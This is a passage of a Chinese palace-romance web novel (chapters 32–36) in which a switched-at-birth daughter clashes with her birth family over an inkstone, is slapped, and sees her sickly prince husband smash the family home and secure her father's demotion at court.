《换亲新婚夜,病弱太子宠我入骨》
第32章 你们舍不得苏清欢,却要我舍了养父?
为了赶路,这一路回京马车几乎没怎么休息,所以姜黎婳等人入京之后,天还没黑。
马车在苏府门外停下,声称有事的楚御礼却跟着姜黎婳一同下了马车,后者不明所以的看向他,语气疑惑,“殿下?”
“时辰不早了,也做不成什么事情。”楚御礼拉着姜黎婳的手,看向杵在那里没动的刘嬷嬷,“还不叫人开门?”
说完又柔和的对姜黎婳说道,“为夫实在不放心你一个人回府,既然都到这里了,就陪你一同进去,一会儿咱们一同回府。”
姜黎婳知道自己如果一个人进去的话,吕氏为了达成目的不知道会和她闹出什么事,说不定还会让她留在府上过夜,而留在府上过夜还不知道会出什么差错,若他跟着进了苏府,停留片刻之后想要离开,苏府不敢留人。
想到这里,姜黎婳便也就同意了下来。
两人带着太医进了苏府,吕氏听到下人来报,姜黎婳和楚御礼带着太医来苏府了。
她心头闪过一丝异样,但是想到自己是装病,又觉得姜黎婳小题大做,故意带太医来揭穿她,让她难堪!
那股异样在怨念之下一闪而过,很快消失无踪,吕氏心头此时只剩下对姜黎婳的埋怨。
而苏建明听说楚御礼也跟着姜黎婳来府上了,赶紧带着两个儿子出来迎接,“不知道大殿下前来,有失远迎,还请殿下勿怪。”
“大皇子妃听说她母亲生病,心头很是着急,孤便随她过来瞧瞧。”楚御礼不冷不热的回应了一句,又温柔的看向姜黎婳,轻声道:“带着太医去给你母亲看看吧。”
“好,妾身很快便回。”姜黎婳从始至终没有看苏家父子三人一眼。
这三人从未把姜黎婳当亲人,她如今也把三人当空气。
苏建明三人瞧姜黎婳这种态度,心头都气愤不已。
姜黎婳到了吕氏的院落,进到屋中,吕氏正靠在床边,看到她带着太医走进来,吕氏叹气道:“我只是有些不舒服,有些想念你了,你还带着太医过来做什么?”
“刘嬷嬷说夫人病得很重,我又不是大夫,过来看望您,您也不会好,所以就带着太医过来了。”姜黎婳说着在屋内圆桌旁边的圆凳上坐下,“人看了,病也要治的。”
抬起手想牵姜黎婳的手表示亲昵的吕氏,手悬在半空。
姜黎婳假装没看到吕氏的手,自顾自的给自己倒了一杯茶,对太医道,“康太医,劳烦你给吕夫人好生看看。”
她喝了一口茶,又看向面色不好的吕氏,柔声道:“我们殿下身子不好,我怕靠夫人太近染了病气再过给大殿下,所以就坐在这边了,夫人应该不会介意吧?”
想骂人的吕氏当着太医的面只能硬生生的忍着心头的怒意,她牵强的扯了扯嘴角,“你是为了大皇子的身体着想,应该的。”
康太医给吕氏诊脉,感受到强而有力的脉搏,他不解的抬眸看了吕氏一眼,吕氏对着她笑了笑,康太医又垂眸继续诊脉,半晌之后他才松开手道:“夫人只是郁结于心,才会导致心神不宁,下官这就开一副药,夫人服用之后,应该就会好很多。”
姜黎婳微微挑眉,郁结于心?
这是遇到什么不顺心的事情了?
不会是苏清欢知道了萧景宴的秘密,跑回来告状了吧?
应该不会,原文中萧景宴表面纨绔,实则心机深沉,原主已经够小心翼翼了,但是在发现萧景宴和国公府的秘密之后,还是很快被萧景宴察觉了。
苏清欢若是知道了他们的秘密,萧景宴不可能不会察觉。
所以应该不是苏清欢的事情。
吕氏让刘嬷嬷带着康太医出去写药方,这才有机会说出找姜黎婳过来的目的。
姜黎婳听了吕氏要求自己做的事情,觉得吕氏真的脑子不对,她看着吕氏,眼里露出讥诮,“夫人为了夫家这样算计自己的亲娘,你都不觉得亏心吗?”
听姜黎婳这么说自己,吕氏的脸色瞬间变得阴沉了下去,她冷冷的瞪了姜黎婳一眼,沉声道:“什么叫算计?你兄长有个好前程不管对吕家还是苏家来说都是好事!只有你外祖母是拎不清的!你倒是嫁了一个高高在上的皇子!怎么不见你为自己兄长的前程出一把力!”
“出力?”姜黎婳只觉得好笑,她真的笑了,甚至笑得眼泪都流了出来,她笑了好一会儿,笑得吕氏差点以为她疯了。
吕氏沉着脸,呵斥道,“你笑什么?”
姜黎婳抬手擦了擦眼角的眼泪,嗤笑一声:“夫人,需要我提醒你一下我回府这些日子以来,苏承印和苏继业是怎么对我的吗?他们除了对我恶言相向之外,还对我做过些什么?你哪儿来的脸要我为他们出力?”
“你的意思是说你不愿意帮忙?”吕氏坐直身子,面色冰冷的看着姜黎婳,“你怎么这么狠心?你哥哥和弟弟那样对你还不是因为你自己性子孤僻!”
“孤僻?”姜黎婳冷笑,“我一开始没有对他们恭敬有加吗?一开始我没有对他们笑脸相迎吗?可是这在你们眼里是什么?是我想抢了苏清欢在你们这里的关爱,是我要争宠!怎么到头来还变成我的错了?”
“伶牙俐齿!”吕氏指着姜黎婳,“我说你一句,你就回我十句!你到底有没有把我当娘?”
“吕夫人你认为呢?”姜黎婳嘲讽的看着怒火丛生的吕氏,语气凉凉,“你都没把我当女儿,我为何把你当娘?”
“姜黎婳!我当初就不该把你生下来!”吕氏红着眼怒骂道:“早知道你是这副德行,我就不该生你下来!”
“所以我生下来就被换走了呀。”姜黎婳语气轻飘飘,“他们换了一个让你窝心的乖女儿呀,你还不满意吗?”
“那是奶娘鬼迷了心窍才把自己的女儿和你调换了,如今她已经死了,你还想怎样?清欢她当时也只是一个小婴儿,她什么都不知道,她也是无辜的,难道你还要我们把她赶出苏家吗?”吕氏红着眼,指责姜黎婳,“你怎么能这么狠心?”
“我狠心还是你们狠心?”姜黎婳脸上的表情一敛,冷冷的看着苏氏,“别忘了,不是我自己要回来的,是你们非要我回来的!甚至不惜威胁我爹爹!”
“我们才是你亲生父母,你不该回来吗?”吕氏站起来走过去一巴掌打在姜黎婳的脸上,“你如今喊我吕夫人,喊你父亲苏大人,却对着一个外人喊爹爹,我怎么生了你这么一个白眼狼!”
姜黎婳抬手捂着自己的脸,这一刻她仿佛感受到了原主当初得不到母爱的绝望。
即便自己知道吕氏拎不清,也从未对吕氏抱有希望,此时还是忍不住心凉。
吕氏也意识到自己刚刚太过激动了,她垂下自己略微有些颤抖的手,给自己找补,“是你非要激怒我的。”
姜黎婳却被吕氏这一巴掌打得更清醒了,她静静地看着不敢看自己的吕氏,语气很轻,“你们割舍不下养了十几年的养女,却想要我割舍下养了我十几年,把我当掌上明珠的爹爹?你们哪儿来的脸!”
第33章 孤捧在手心里的人你们也敢打?
吕氏听姜黎婳这么说,心有瞬间的颤抖,她怔怔的看着姜黎婳,“这就是你不愿意入苏家族谱的原因?”
姜黎婳听到她那受伤的语气,有些不耐的皱了皱眉头,“那不也正是你们希望的吗?我不抢苏清欢的位置,正合了你们心意。”
吕氏听姜黎婳毫不留情的揭穿他们心底的想法,双手不自觉的握成拳头,她想张口为自己辩解,但却不知道说什么。
直到姜黎婳转身要走了,她才道,“我知道,缺失的十几年已经让我们母女的情感产生了很大的一条裂缝,我还知道你和我都不想修补这条裂缝。”她目光落在姜黎婳那傲然的后背上,语气稍微柔和了一点,“我只求你这件事情,帮我拿到那台端砚,帮你哥哥成功拜师上官先生,其他的我也不求了。”
姜黎婳回头看她,冷笑,“你的乖女儿苏清欢不是有办法让你的好儿子拜上官先生为师吗?怎么现在又成了让我帮忙拿到那台端砚帮苏承印成功拜师了?你确定上官先生喜欢砚台吗?”
那老头虽然是外人眼中的文人大儒,但是最烦的就是握笔了,送砚台?这不是惹人厌烦吗?
“我们若能亲自登上上官先生的门庭还需要找你吗?”吕氏听姜黎婳这么说眉眼立刻露出不耐,但想到自己的目的,她深深地吸了口气解释道,“砚台是送给沈太傅的,沈太傅是上官先生的徒弟,我们只能找沈太傅帮我们向上官先生引荐。”
姜黎婳:“?”
她真的想知道这吕氏和苏家的人哪儿来的自信,认为沈师兄会愿意帮一个资质平平的晚辈拜自己的师父当师父,还平白把自己的辈分给拉低了。
这吕氏他们是不是脑子不对啊?
见姜黎婳不说话,吕氏以为她在想如何拒绝,当即道:“你不想答应?”
“她不想答应就算了,母亲你不要求她了!”苏承印冰冷的声音在外面响起,很快苏承印黑着一张脸走了进来,“人家贵为皇子妃,瞧不上我们,我们何必贴上去找不自在。”
姜黎婳挑眉,“你倒是有点自知之明。”
苏承印听到这话正要发怒,就看到姜黎婳脸颊上的红印了,他冷哼一声,“姜黎婳,你真的以为嫁给大皇子了就不用靠我们苏家了是吗?你那病弱的夫君能活多久?我等着他死了之后,你再跪着上门求我们。”
“那你好好等着吧。”姜黎婳转身就走,走了两步她忽然停下脚步,在吕氏和苏承印疑惑的目光中,她笑着走回来,接着抬手一巴掌甩在苏承印的脸上,不等苏承印反应过来,厉声喝道:“诅咒皇子,苏承印你是不想活了吗?今日本宫开恩,掌掴你之后就不问你罪了,以后记得谨言慎行,否则小心祸从口出。”
说完她高冷的扫了想骂人的吕氏一眼,沉声道:“吕夫人,你应当好好地规诫你这口无遮拦的儿子。”
姜黎婳捏了捏有些发麻的手,又道:“对了,再劝你们一句,做人还是脚踏实地的好,有多少实力就做多少事,别莫名的惹人厌烦,否则最后吃亏的是自己。”
与其在这儿想些旁门左道的事情,还不如好好读书,打好基础才是最好的。
当然,这些姜黎婳是不会给他们说清楚的,她要的就是苏家自食其果。
“姜黎婳!你给我等着!”苏承印无能狂怒。
吕氏直到大皇子在外面等姜黎婳,生怕他惹怒大皇子,连忙拉着苏承印,她心疼的看着苏承印的脸颊,“都红了,快拿冰块敷一下。”
“我不会放过姜黎婳的!”苏承印眼中闪过恨意,“我要她后悔今天打了我!在外面长大的野种就是养不熟!”
吕氏心疼苏承印被打,由着他骂姜黎婳,什么话都不说。
这边姜黎婳走出院门佩玉几人就迎了上来,看到姜黎婳通红的脸颊,佩玉心疼上前,“吕夫人她打你了?”
姜黎婳笑了笑,“没事儿,回去用冰敷一下,擦点药膏就好了。”
她说没事,但到前厅的时候,楚御礼看到却怒了,他上前抓着姜黎婳的手转身就阴冷地睨着苏建明,“苏建明,你们一家子还真是让孤大开眼界!皇室在你们眼中是空气吗?上次敢对孤的皇子妃口出狂言,今日竟然敢对孤的皇子妃动手了!”
苏建明一开始看到姜黎婳脸上的巴掌印还没在意,毕竟他根本不在意这个女儿,但此时感受到了楚御礼的怒气,他一下子就心虚了。
他抬手擦了擦额头的汗水,连忙解释,“一定是他们母女产生了口舌之争,内子可能是一时失手才打了大皇子妃,还请大皇子殿下谅解!”
“谅解?”楚御礼一脚把旁边摆着观赏瓷器的架子踹翻,瓷器摔碎发出刺耳的声音,楚御礼冰冷的语气却比瓷器摔碎更刺耳,“谅解你们?上次孤就警过你们,不要藐视皇室!”
姜黎婳不知道自己被打一巴掌竟然让楚御礼这么生气,她伸手拽了拽楚御礼,低声道:“殿下,我没事。”
“脸都红了,怎么会没事!”楚御礼双目通红,在看向姜黎婳的时候,他眼中的阴鸷全都收了起来,只剩下温柔和疼惜,“你别怕,孤为你出气。”
他说完看了佩玉一眼,沉声道:“你们三个带大皇子妃出去等着。”
佩玉和铃铛、知夏三人连忙护着姜黎婳出去,姜黎婳侧眸看了楚御礼一眼,他不知道楚御礼要对苏建明说什么,不过他既然不想让自己听,那她就出去等他好了,反正这苏家,她是一刻也不想多呆。
楚御礼一直目送姜黎婳离开苏家前厅直到看不到人影了,他才回头看向苏建明,苏建明见他看向自己,连忙跪在地上告罪,“大皇子,臣在这里代替内子向您道歉,都是臣管家不严,才让内子不知分寸的打了大皇子妃,求您消消气。”
楚御礼嘴角扯起一抹冷漠的弧度,他往前走了两步,一把揪住苏建明的后领,喑哑的声音带着一丝嗜血,他盯着眼神闪躲的苏建明,眼里闪烁着诡谲的光芒,“孤小心捧在手心里的人,你们竟然敢打?”
苏建明心头一惊,那个死丫头明明才刚回京几个月,而这几个月之间,她根本没有出过苏府的大门,这大皇子怎么就对她这么上心了?
看着苏建明眼眸转动,楚御礼眼里闪过疯狂,“你想要孤消气?”
苏建明颤颤巍巍的点了点头,“大皇子要如何才能消气?”
“孤的娘子听说贵夫人生病了,好心好意带着太医过来探望,你们却打了她,你说孤要如何才能消气?”楚御礼说完这句话,脸上的表情瞬间消失,他站起来,厉声道:“给孤把苏府砸了!”
苏建明一开始还没反应过来,等他回过神来看到两个人影闪出来快速开始砸厅中的东西时,才慌忙地跪着上前求楚御礼,“大皇子,您不能砸啊!这些都是...”
“是什么?”楚御礼站在那里居高临下地看着跪在自己面前的苏建明,“藐视皇室,孤只让人砸了你家东西,已经是法外开恩了。”
苏建明无力地瘫坐在地上看着前厅变得一片狼藉。
然而这并没有完...
半晌之后,整个苏府传来哀嚎。
老夫人邹氏更是朝着要去告御状。
苏家其他人看到站在一片狼藉中间的大皇子,认为这大皇子是觉得自己命不久矣之后,直接疯了!
自己的皇子妃被岳母打了一巴掌,他竟然直接砸了岳丈的家!
第34章 只为娘子着想的贴心大皇子
姜黎婳坐在马车里面都听到了苏家里面传来的嚎叫声,等看到昭临和另外两个侍卫护着楚御礼从苏府走出来,她掀开车帘迎了出去,出了恶气的楚御礼看到她从马车中出来,加快脚步走上来,阻止了她下车,“别下车了。”
姜黎婳没再动作,退了回去,等着楚御礼上车之后,她才问,“殿下做了什么?苏府里面的人怎么哭得那么大声?”
坐在车夫旁边的昭临听姜黎婳问楚御礼这话,心头冷笑了一声,‘做了什么?在里面发疯,把苏府都给砸了!大皇子妃你在不知不觉之间把病秧子变成了疯子!’
今天苏府被砸成那破样子,明天还不知道陛下那里会收到多少弹劾主子的奏折呢。
砸了苏府的罪魁祸首却根本不在意苏府去告状或者自己被弹劾,他坐在姜黎婳的身边,心疼地看着姜黎婳被打红的左脸,“都有点肿了。”
说着眼底浮现出狠厉,“忽然觉得刚刚的警告有点轻。”
外面把两人对话都听了进去的昭临:“.......”
那都还轻的话,请问什么叫重啊?
把人都给杀了吗?
姜黎婳倒是更好奇楚御礼对苏家人做了什么事情来警告,让苏家鬼哭狼嚎那么久。
难道把人给打了?
“你打人了?”姜黎婳抬眸看向楚御礼,眼中闪过一丝好奇,打了谁?不会是吕氏吧?
若真的把吕氏给打了,那她还有点不好给外祖母交代了。
永宁伯老夫人是她回京这么久,唯一给过她温暖的人,她也是真心敬重这位老人的,因为不管是对原主还是对自己,这老人是真的对她们好的。
“为夫可不是那么粗鲁的人。”楚御礼抓着姜黎婳的手放在自己的膝盖上,有一下没一下的抚摸着,“就是砸了点东西,给你出了口气,顺便给了一点警告。”
姜黎婳点了点头,没打人就行,毕竟真的把人打了,明天苏建明怕是要找父皇哭诉了。
外面把两人的对话听得一清二楚的昭临,听到楚御礼这话,在心中使劲摇头,‘把整个苏府都给砸了,还说自己不粗鲁?那粗鲁一点是不是要把人家的房子都给掀翻了啊?而且那满府狼藉叫只砸了一点东西?若全砸岂不是把房子给移平了?’
也就大皇子妃现在相信主子的话,等明天弹劾的奏折送到皇上面前了,就知道主子粗不粗鲁了。
回到大皇子府,楚御礼立刻让人送来冰块,自己亲自上手给姜黎婳冰敷,看着她白嫩脸颊上的痕迹,他眉头紧紧皱了起来,“吕夫人真是心狠手辣!”
“没事,我也打了苏承印。”姜黎婳笑了笑,“而且我打的那一巴掌用了十足的力气,手都打麻了。”
“手痛不痛?”楚御礼立刻用闲着的左手拉着姜黎婳的手看她手心,看到她通红的手心,他眼神又暗了下去,“下次打人记得喊昭临。”
门外守着的昭临:“......”
他打人手就不痛了吗?
姜黎婳笑着应了下来。
楚御礼这才不松开她的手,低声问,“她特意把你找回来应该不是为了打你吧?”
姜黎婳失笑,这人想问个问题都这么拐弯抹角的,想知道吕氏找她是为了什么事情直说就是,还生怕问了她,她不愿回答吗?
楚御礼还真是想知道但又害怕她不愿意说,所以才这样问的,这样问,如果她想说的话,她就会给他解释一下,不想说的话,直接回答一个不是就行了。
瞧瞧,他多贴心。
他的娘子上哪儿找他这么一个贴心的夫君去?
想到这里,楚御礼眉梢都愉悦了起来。
看着他变来变去的表情,姜黎婳轻声细语的把吕氏找自己的目的说了一遍,还说了自己为什么被打,又为什么打苏承印。
既然他想知道,她就事无巨细地都说给他听,反正这些事情也没什么好隐瞒的。
楚御礼听到姜黎婳是为了自己才打苏承印的,当即皱起眉头,“下次娘子别为了为夫这么冲动了,那些人不配让你动手。”
姜黎婳瞧他说得这么认真的模样,又忍不住笑了,“我也有为自己出气的想法才动手的。”
“为夫愿意当夫人的打手。”楚御礼捏着姜黎婳的手,“再不济,还有昭临。”
无辜的昭临:“......”
我真的谢谢您!
“知道了知道了。”姜黎婳连忙应下来,生怕楚御礼还纠结于打人这件事情,她连忙转移话题,“我只是一个被别人养大的女儿,她不在意也就算了,但我没想到她竟然连自己的亲娘都要算计。”
楚御礼的脸色也沉了下去,“其实前些日子为夫觉得苏建明对你的态度很奇怪,便让墨玄派人盯着苏建明,墨玄今日给我传了信,这件事情我想你应该知道。”
姜黎婳听楚御礼把话说完,眼里露出嘲讽,她想到原书中苏清欢死了之后吕氏去找原主闹,而原主被害死之后,吕氏只是失神了半晌...
“呵呵。”姜黎婳嘲讽的笑出了声音,“若是她知道她自己这么算计想要得到的砚台,并不是为自己的儿子铺路,只是给外室的儿子当敲门砖的话,你说她会是什么表情?”
楚御礼把冰块放下,伸手轻轻摸了摸姜黎婳被打的脸颊,轻声问,“你不想告诉吕夫人真相?”
“他们不会信。”姜黎婳语气笃定,“若不是他们自己发现,他们一定会认为我是在挑拨他们和苏清欢的关系,那样只会更恨我。”
姜黎婳说到这里,漂亮的桃花眼中浮出冷漠,“况且我为什么要提醒他们?苏清欢是他们自己选择的人。”
楚御礼眉头微蹙,“苏建明此人城府极深,那个女人被他养在外面二十多年都没能被发现,想来他还会想其他办法从其他地方下手得到胡老夫人手中的端砚的。”
“端砚,他想要,那就给他。”姜黎婳眼里闪过冷漠,“我就瞧瞧,有了端砚,他那个被他藏着的儿子是不是真的就能入了我师兄的眼。”
楚御礼眼中闪过一丝兴色,“你想怎么做?”
翌日。
天色一亮,姜黎婳刚醒来,就听到昭临在门外喊楚御礼,说皇上宣他入宫。
姜黎婳皱着眉头要起身,就被人用手轻轻推了回去,楚御礼摸了摸她的头发,“时辰还早,你再多睡会儿,为夫先入宫,今日有事要处理,可能要晚些才回来,不必等我用午膳和晚膳了。”
姜黎婳点了点头,“好。”
瞧着她乖巧的模样,楚御礼忍不住在她额头上亲了亲,转而看到她红印变淡了一些的脸颊,他眼神变暗,“天气热,让他们在屋中多放点冰块,我让人送了荔枝和杨梅过来,冰镇之后吃口感很好,但是别吃太多了,仔细着凉...”
他还想叮嘱,外面的昭临又催促了一句。
楚御礼黑脸,张嘴正要骂人,姜黎婳慌忙拉着他道:“我是大人了,知道照顾好自己的,殿下快去,别让父皇久等了。”
楚御礼这才依依不舍地站起身穿衣洗漱出门。
他刚离开,姜黎婳也起身了,夏天天热,她也不想在床上躺着,起来梳洗完,就收到了永宁伯府递过来的请帖。
姜黎婳看完请帖让知夏膳,“用了早膳,去一趟永宁伯府。”
第35章 我是病了,不是死了
定国公府。
用了早膳打算去自己的亲生娘亲那里走一趟的苏清欢瞧见刚出门又回来的萧景宴,她心虚让雪儿先出去等自己,自己则迎着萧景宴走了过去,“世子怎么回来了?”
萧景宴瞧她一副外出的打扮,眉梢微挑,“又要回娘家?你也听说大皇子把苏家给砸了?”
苏清欢眼里露出疑惑,有些不解的看着萧景宴,“世子这话是什么意思?”
“你还不知道啊?”萧景宴嘴角勾起一抹似笑非笑的弧度,“咱们那有血性的大皇子,因为自己的大皇子妃被你母亲打了一巴掌,昨晚直接让人把苏府都给砸了,这事儿今早还闹上了朝堂呢,听闻今天这朝堂上很是热闹呢。”
苏清欢的心一瞬间像是被荆棘裹着一样,疼得有些呼吸不过来了,心头对姜黎婳的恨更浓烈了。
她不是苏家打抱不平,只为楚御礼的不公!
为什么?
那个男人明明冷血无情!
前世就连成亲当日他都不曾看她一眼,盖头都是她深更半夜自己揭下来的,可偏偏对她那般冷血无情的男人这一世不但陪着姜黎婳回门,还因为姜黎婳被吕氏打了一巴掌就把苏家都给砸了?
甚至不惜闹到朝堂上,也要为姜黎婳出气?
姜黎婳究竟有什么好的!一个在江南小门小户长大的商户女罢了!凭什么上一世她能风光无限,这一世又能得到那个男人的宠爱?
苏清欢瞬间失去理智,双眼因为嫉妒而变得通红。
萧景宴看着苏清欢的模样,伸手在她眼前晃了晃,语气微冷,“夫人为何这么生气?”
苏清欢被他这语气吓得一激灵,失去的理智立刻回笼,她扯了扯嘴角,语气却带着怨念,“大皇子太过分了,苏府怎么说也是他岳丈家,他怎么能不顾苏家颜面,把苏家给砸了!只是被打了一巴掌,妹妹又不会少一块肉。”
“是吗?”萧景宴似笑非笑盯着苏清欢,“被打的可是大皇子妃呢。”
“妹妹是大皇子妃之前,先是爹娘的女儿啊。”苏清欢语气不自觉的变冷,“她真不懂事,也不知道劝着大皇子一些。”
“这么说夫人很懂事,若你在苏家受了委屈,也不希望为夫替你讨回公道了?”萧景宴手指下意识的搓着手指上的扳指,语气漫不经心,“不然也是不懂事?”
“这不一样。”苏清欢抬眸看着萧景宴,“我希望世子为我讨回公道,但也不会让世子把事情闹得很难看的。”
“是吗?”萧景宴眼中露出无趣的神色,他转身往外走,“你若想回去看看就回去看看吧,为夫还有事,今日要出城一趟。”
把萧景宴送走后,苏清欢也不着急去看自己的亲娘了,吩咐车夫直接回苏府。
朝堂上。
楚御礼眼神凉凉的看了一眼跪在地上哭诉,说自己心狠的苏建明,又看向弹劾自己的御史。
忽地他嗤笑了一声,接着低头拱手恭恭敬敬地对皇帝行了一礼,“父皇,儿臣如今只是病了,不是死了。”
楚御礼的病,一直都是皇帝的禁忌,这些年没人敢在皇帝面前说起楚御礼的生死。
此时楚御礼说出这句话,整个朝堂瞬间安静了下来,就连跪在地上哭诉的苏建明都下意识地噤了声。
皇帝在听到楚御礼说这话的时候脸色也阴沉了下去,放在膝盖上的手,更是下意识的握紧。
楚御礼要的效果达到,他抬起头,眼中的冷漠散去,双目不知何时变得通红,眼中还有一丝哀痛,“儿臣如今还活着,他们就敢当着儿臣的面掌掴儿臣的妻子,若儿臣死了,他们是不是能到府上直接弄死儿臣的妻子?”
不给苏建明狡辩的机会,楚御礼伸手指着苏建明,“儿臣知道,在他们眼中,儿臣是一个随时会死的病秧子,所以他们不把儿臣和儿臣的妻子放在眼中,但昨日,是苏大人的夫人差人到行宫说身子不爽想见大皇子妃的!
我们夫妇带着太医上门探望,他们却打了大皇子妃,这口气若是不出了,那儿臣就是死也不会瞑目!”
“胡说什么!”皇帝呵斥楚御礼,“什么死不死的!”
“陛下,苏氏藐视皇族,不把皇室威严放在眼中,大殿下只是砸了他们苏家,没有问罪苏家满门,已经是法外开恩了!”镇国侯站了出来跪在地上,义正言辞的对着皇帝道:“请陛下下旨问苏氏大不敬之罪!”
随着镇国侯站出来,承恩公也站了出来,“藐视皇室威严,重伤皇子妃,只是被砸了家是轻的了,还敢闹到朝堂上,让陛下闹心?”他也跪了下去,“请陛下问苏氏大不敬之罪!”
“求陛下看在大皇子妃的面上,饶了臣这一次啊!”苏建明已经被吓得浑身都是冷汗了。
他原本想在今日给这个病弱的大皇子一个下马威,让他知道朝臣并不是那么好惹的,没想到最后遭殃的反而是自己!
一直站着没说话的丞相冯胜文这时候站了出来,他躬身行礼,“陛下,大皇子妃是苏大人的女儿,更是吕夫人的亲生女儿,母女之间有个口角激动之下动了手也是情有可原的,应该上升不到藐视皇室威严的罪上来。”
说到这里他笑了笑,“再说了,咱们大皇子已经把苏府砸了,如今气也出了,也没必要小题大做再治罪苏大人了,若陛下因这事治罪了苏大人,岂不是让满朝文武寒心,也让百官不敢把女儿嫁到皇家了?”
他说着看了跪在地上的楚御礼一眼,“大皇子说是不是?”
楚御礼却不吃他这套,只淡淡道:“痛不在冯相身上,冯相自然能劝别人善良,若一个皇子连自己的媳妇都护不住,那满朝文武怕也是不敢把女儿嫁给皇子当媳妇了!”
冯胜文眉头一皱,语气也冷了两分,“大皇子这个意思是非要问罪苏大人?你有没有想过大皇子妃也出自苏家,若苏家被问罪的话,大皇子妃亦然会被牵连。”
“冯相这是有感而发吗?”楚御礼抬起头与冯胜文对视,眼中神色意味不明,“看来二弟的事情没少让冯相费心,难道冯相被二弟的所作所为牵连了?”
提起如今被禁足的楚明暄,冯胜文的脸色更难看了。
皇帝想到自己禁足楚明暄的原因,心情瞬间变得更差,不成器的儿子在外胡作非为,滥杀无辜,而自己从小看好的大皇子,即便知道自己活不久,也从未让他这个父皇费心,如今儿子命不久矣,还被人欺负到了头上,自己这个做父皇的若再不为他出头,他岂不是要被人骑在脖子上欺负了?
皇帝当即冷声喝道:“工部尚书苏建明不敬皇子,藐视皇室,即日起降为工部侍郎,以示惩戒!工部侍郎谢如玉暂代工部尚书一职!”
苏建明听到这个噩耗,整个人仿佛失去了力气,一下子瘫坐在地上。
为什么会这样?
天降大饼的工部侍郎谢如玉则如获至宝一样扑通跪在地上,扬声喊道:“臣,谢主隆恩,吾皇万岁万岁万万岁!”
第36章 殿下不会抛下我自己离开的
苏清欢回到苏府就看到了一片狼藉的院落,和坐在石阶上又哭又闹的老夫人邹氏,还有在招呼着家丁打扫残局的吕氏。
她定住脚步,眼中全是不可置信。
这些真的是楚御礼那个冷漠无情的男人为了给姜黎婳出气,让人给砸的?
为什么?
就是因为嫁给他的人是姜黎婳?
因为姜黎婳长得漂亮?
“啊!”苏清欢抱着头尖叫出声。
凭什么!
她重活一世抢走了姜黎婳的婚事,把那个冷血无情的病秧子让给姜黎婳,姜黎婳就应该重步她上一世的不幸才是!
为什么她能得到那个男人的维护!
一定是哪儿出错了!
肯定是!
苏清欢的尖叫声惊动了吕氏和邹氏,也把在后院指挥家丁收拾的苏家兄弟两人给召唤了过来。
吕氏率先走过来,她拉着苏清欢的手止不住流泪,“欢儿。”
苏清欢看着满目狼藉,眼神呆呆,“这些都是大皇子让人砸的?”
“还不都是怪姜黎婳那个祸害!”邹氏使劲剁了剁手中的拐杖,“当初我就不赞同把她找回来,被别人养了十几年,心早就野了,根本不和我们苏家一条心!”
她怨恨的看了吕氏一眼,厉声道:“你看看,把她找回来,家中过过一日安宁日子吗?如今这家不像家,你们满意了!”
“我去找那个祸害算账!”苏继业气得转身就朝外面大步走去。
苏承印一把拉住他,“你还去找她!这样去大皇子府找她算账,岂不是更给她羞辱我们的机会?”
“都怪我!”吕氏后悔的使劲捶打自己的胸口,“当初我就不该听你们外祖母的话,非要把她找回来!我这是给自己找回来一个祸害啊!”
此时他们口中的祸害,刚刚登上永宁伯府的大门。
门房的人见到来人,恭敬的把姜黎婳迎了进去。
跟在姜黎婳身后的铃铛一路过来看着永宁伯府给自家小姐行礼的仆从,心头忍不住开始和苏家的人比较。
这样一比较,瞬间觉得苏家真不是人,苏府中就连那些奴仆都没把小姐这个皇子妃放在眼中。
真不知道苏家的人到底是怎么想的!
姜黎婳被仆从一路引着到了老夫人胡氏的院子中,此时永宁伯夫人孟雪莲正带着女儿吕静雅在胡氏院中陪胡氏一起等姜黎婳登门。
见到姜黎婳被人引着进院,孟雪莲和吕静雅母女两人主动迎了上来给她行礼问安,“见过大皇子妃。”
姜黎婳上前亲自扶起两人,笑着道:“舅母、小雅你们不用多礼了。”
三人一同往屋里走,胡氏看着姜黎婳走进来,眼里竟然带了泪,姜黎婳喊了声,“外祖母。”
胡氏没有和姜黎婳多礼,她拉着姜黎婳在身边坐下,“不是在行宫吗?怎么会忽然回来了,还把事情闹得那么大。”
姜黎婳今日出门就听到街上在说大皇子把苏府砸了的事情,这事儿如今都成了京城百姓茶余饭后的谈资了。
她无奈,但是倒没有想过要替吕氏遮掩,便把吕氏如何让人去行宫请自己,又如何让自己上门来讨要那台端砚的事情都给说了。
胡氏听了之后更是气不打一处来,“那个孽障!”又慌忙问姜黎婳,“还疼不疼?”
姜黎婳瞧着老人眼中的关切,她压下心底的情绪,轻轻摇了摇头,“昨夜大皇子已经替我冰敷过,还上了药,如今已经不疼了。”
孟雪莲点头,“还好大皇子是个疼媳妇儿的。”
又在心头说小姑子是个拧不清的,自己的女儿和亲生母亲都这样算计,真不知道那苏家到底是给她下了什么蛊了!
她不好当着婆母的面说小姑子的不是,但胡氏却彻底对女儿心灰意冷了,她冷冷道:“她就是个拧不清的,如今为了苏家,她是把谁都算计进去了!”
说着又拉着姜黎婳,一脸的愧疚,“若她对你有对苏清欢一半好,我也不至于把那些东西看得那么紧!”
听胡氏这么说,姜黎婳心头浮出一丝疑惑,她看向胡氏,胡氏叹气,“你是个苦命的孩子,大皇子虽然懂得心疼人,但毕竟身体不好,如今你爹不疼娘不爱,外祖母总要为你多想想,若以后大皇子真有个好歹,外祖母这点家底也好给你拖个底啊。”
说着胡氏竟然开始抹起了眼泪,“有了外祖母这点家底,以后你在那冷血无情的皇室也不至于寸步难行啊。”
姜黎婳的心忽然被一只手狠狠地揪住,她觉得有些疼。
她虽然敬重这位从自己到京城之后,就对自己一直很好的老人,但她以前从未想过把她当亲外祖母一样敬爱,只想得敬而远之,减少来往,避免以后与苏家人彻底闹翻之后,让这个老人为难。
但她没想到,这个老人竟然为她把那些后路都给想好了。
姜黎婳紧紧握住胡氏的手,一时之间还真不知道该说什么。
沉默了好半晌,姜黎婳才低声道:“外祖母您别担心以后的事情,我相信殿下是舍不得放下我独自离开的。”
“那更不行!”胡氏忽然拔高声音,急声道:“皇室若敢让你给大皇子殉葬,老身就是拼了这条老命也要和皇室闹个天翻地覆!”
“外祖母!”姜黎婳真没想到胡氏竟然想歪了,连忙拉着胡氏,让她别乱说。
孟雪莲也连忙道,“婆母您放心,皇后不是那种人,大皇子也不是那种人,他如此爱重大皇子妃,怎么舍得大皇子妃给他殉葬。”
姜黎婳连连点头,“对,我刚刚也不是那个意思。”
吕静雅在一边眼睛转啊转,半晌之后,她问姜黎婳,“表姐,你都嫁给大皇子这么些天了,说不定怀孕了呢?你如果怀孕了,那即便大皇子死了,你也不用殉葬啊。”
姜黎婳:“......”
呵呵,怎么一个二个的都想着人家死呢?
还有...怀孕?
姜黎婳偏头看向吕静雅,“表妹,你知道的可真多。”
